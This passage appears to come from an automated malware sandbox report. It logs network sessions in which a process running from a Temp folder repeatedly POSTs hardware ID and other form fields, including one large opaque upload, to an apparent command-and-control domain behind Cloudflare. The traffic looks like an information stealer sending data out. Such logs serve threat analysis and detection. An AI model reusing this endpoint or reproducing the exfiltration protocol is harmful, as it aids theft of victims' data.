{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:52:57.569622993 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 32 35 64 38 34 35 39 63 32 61 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 83150325d8459c2a-IAD15Malformed packet data
Dec 6, 2023 14:52:57.569659948 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50179	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:57.679614067 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:57.679795027 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:58.051496029 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=v3hdj689rbo56v2d4a5rk0k98o; expires=Sun, 31 Mar 2024 07:39:36 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hdGfjDQiBI99mrMj9p0rVRPWtCf3vVk34Ugbl0wxr8G3kO4oz0dqYi95YPqu%2FQf4cDttQnrNBmrpg2RWDqDKba4RMyjOEGCuxzOJ1qSUUQhuZqZ3vojoLr4XuRQk02sH%2FwwLEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:52:58.051534891 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 32 38 62 65 62 39 30 61 39 33 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 83150328beb90a93-IAD15Malformed packet data
Dec 6, 2023 14:52:58.051568031 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50181	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:58.157586098 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:58.157774925 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:58.595463037 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=6sffuc79f0lb8mvak7uaoto5pn; expires=Sun, 31 Mar 2024 07:39:37 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uQFfal4N9kgh%2Feeh2deXcNUC9BkHV9VysXgg1o3kCyS4aIFS66Mmn81E78EaHXmu9XjRK93uSBrKcu2VhJll7VLwneFcWHMqKf7BvY0YaO7%2FArTVrXiC3ZJKobbTO7g33oPuTw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:52:58.595509052 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 32 62 62 63 33 64 35 37 61 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8315032bbc3d57a8-IAD15Malformed packet data
Dec 6, 2023 14:52:58.595542908 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50183	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:58.974736929 CET	337	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19436 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:58.975039959 CET	11628	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:59.069052935 CET	1340	OUT	Data Raw: 71 3c dc cf e5 b0 8a 0b 85 af df 1e f0 6a f7 87 cf bd da 6d fb 0e bf ec e0 33 17 a9 5d 10 2a 8f d1 6e fe e1 31 64 57 4d cb 51 c2 55 ef 74 ba f1 ed c0 97 58 6f 44 59 dd a1 1a 1b 44 ae 55 3b 1c 19 1b 68 ab 65 a2 94 4d cb 6b 2e 8b 34 6a aa d6 e9 e5 Data Ascii: q<jm3]n1dWMQUtXoDYDU;heMk.4jaJR:\|0kTN["Dfh\VB([Ma<qtKH^l<eriZRl\|'X'E2Cm}-l*jR[Q5Hwj
Dec 6, 2023 14:52:59.069302082 CET	2626	OUT	Data Raw: f3 18 76 84 39 7c 36 3c 06 3b ae ed ba 7e e7 7c 3f 89 89 11 ef c7 bb c6 eb 15 3b d2 3b 5e 9c 53 53 cf e1 ea 83 ef e5 24 65 f6 58 87 d0 11 3f 7c 5d f7 d0 d1 70 49 10 32 f7 05 f0 7f e5 e0 d3 0f 3c 3f ef af 6e fb 7e de d9 80 53 35 36 7f 1a 65 33 7c Data Ascii: v9\|6<;~\|?;;^SS$eX?\|]pI2<?n~S56e3\|/Gc{sOpWSHd:GdJp6/Sh}<6wH\yR }` }` }` }>)~
Dec 6, 2023 14:52:59.069365025 CET	4058	OUT	Data Raw: c4 ad 50 5c db e3 d7 58 4c ba 53 a9 73 c2 bb e3 ca a9 70 ee 49 23 c5 9d 6c 93 93 e1 91 27 25 f5 c2 f9 93 46 82 3b 66 cb 74 9e d3 e5 29 cd e6 cb b3 65 3e 5f ce b9 08 72 8f 26 95 64 56 3b 9d fb cf 39 a6 17 b2 98 ae f2 d9 6c 96 e4 67 8b ec 34 59 d0 Data Ascii: P\XLSspI#l'%F;ft)e>_r&dV;9lg4Y$KhsTZ})NgMW.yjFX)s@J\Sxm&V/2>h'Uq\~hYB@LGRF5a6kqEBvQb+&9XePu*'rWng$PKFLBV$#,
Dec 6, 2023 14:52:59.448542118 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=tmb02urfrkbbdbl947u34b4lig; expires=Sun, 31 Mar 2024 07:39:38 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=63YHGkRyIUme6Jzwl65C%2BpsZqdZSatiOVQTJl09o8SN2APqW9QGOaOYcYyvFQQLvwvN1geBJQqu0PDIeGfv0znDuQBnUvMC8afYAsJ2X7DQmo4PPQgL1wjOfGldGbkSEQnEwSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudfla Data Raw: Data Ascii:
Dec 6, 2023 14:52:59.448559046 CET	111	IN	Data Raw: 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 33 30 64 63 34 63 38 32 65 63 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: eCF-RAY: 83150330dc4c82ec-IAD10ok 102.165.48.83
Dec 6, 2023 14:52:59.448569059 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50184	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:59.585836887 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:59.586021900 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:59.931714058 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2jkpo91jgomeesd10496o9m1la; expires=Sun, 31 Mar 2024 07:39:38 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:59 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AbonWIusN4C2SkqXTpJGkhH%2BbB%2BRRbs4OUqxhrfNuxxMN%2F86TOtD2ABtrjNHFX2ceDMWSuuxDhXOl%2Budur5oL2G8GS%2Fxa4YmXkv9gmiPXk%2BaxBRgLb7pGM8oxQruiJFf5i6kWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:52:59.931730032 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 33 34 61 66 36 35 37 32 65 37 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 83150334af6572e7-IAD15Malformed packet data
Dec 6, 2023 14:52:59.931740046 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50185	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:00.073026896 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:00.073235989 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:00.419693947 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=mfv2ktsh1o8jaegme00sa6updj; expires=Sun, 31 Mar 2024 07:39:39 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:00 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:00 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:00 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Jo6RyiW8AhvYwxFSDhMokN4%2Feb03i5dM4oq2GjQXXHHl8T6DfuSTUIKapkh3qF8N%2FP7fGoY2ZsAbaLhzqjwMPgSR9DGKUh7nPo%2B0SuMosTij2YRheZiHNlJZifstNYyRAFPQCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:00.419709921 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 33 37 62 63 37 36 35 38 37 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 83150337bc76587e-IAD15Malformed packet data
Dec 6, 2023 14:53:00.419742107 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50186	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:00.938760996 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:00.939009905 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:01.298616886 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=kv9v4b512fh8jqive86nasg1jq; expires=Sun, 31 Mar 2024 07:39:40 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:01 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:01 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:01 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eKtbfhq1GvrYVSN%2FLSGW3HBBsVTLcoBT4ugZGMelbWP2VU%2FMIUzHGZfqgx2X7Qiuv4LqkAnaKqOlRDBE3w%2F8NZIdgU%2BEPQ4Yxyian47Tfubl8CmvGTeb7BpeGb1pb%2B07GIWZvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:01.298634052 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 33 64 31 39 36 61 31 37 37 35 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8315033d196a1775-IAD15Malformed packet data
Dec 6, 2023 14:53:01.298644066 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50187	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:01.397811890 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:01.398304939 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:01.754940033 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=iq94i50kbnb30lmjfdfilr62rp; expires=Sun, 31 Mar 2024 07:39:40 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:01 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:01 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:01 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ALACv0jpxBXxYb7XzlMGj9PPZIH4EG%2Bl0xZYbE7x2DBHs2xDUuehy7eUx2JaUZ9cWECEWUFTVTiW8rYkSY%2Bm5%2FG41Qe0WzGdCtqemUdcRksWCAwIreUgDOIPMB7jlF8nAxkw8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:53:01.754955053 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 33 66 66 38 37 64 31 37 38 31 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8315033ff87d1781-IAD15Malformed packet data
Dec 6, 2023 14:53:01.754965067 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50188	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:02.057058096 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:02.057058096 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:02.431025028 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=cq1t8qc2h8d95nrurojjg3pctu; expires=Sun, 31 Mar 2024 07:39:41 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:02 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:02 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:02 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 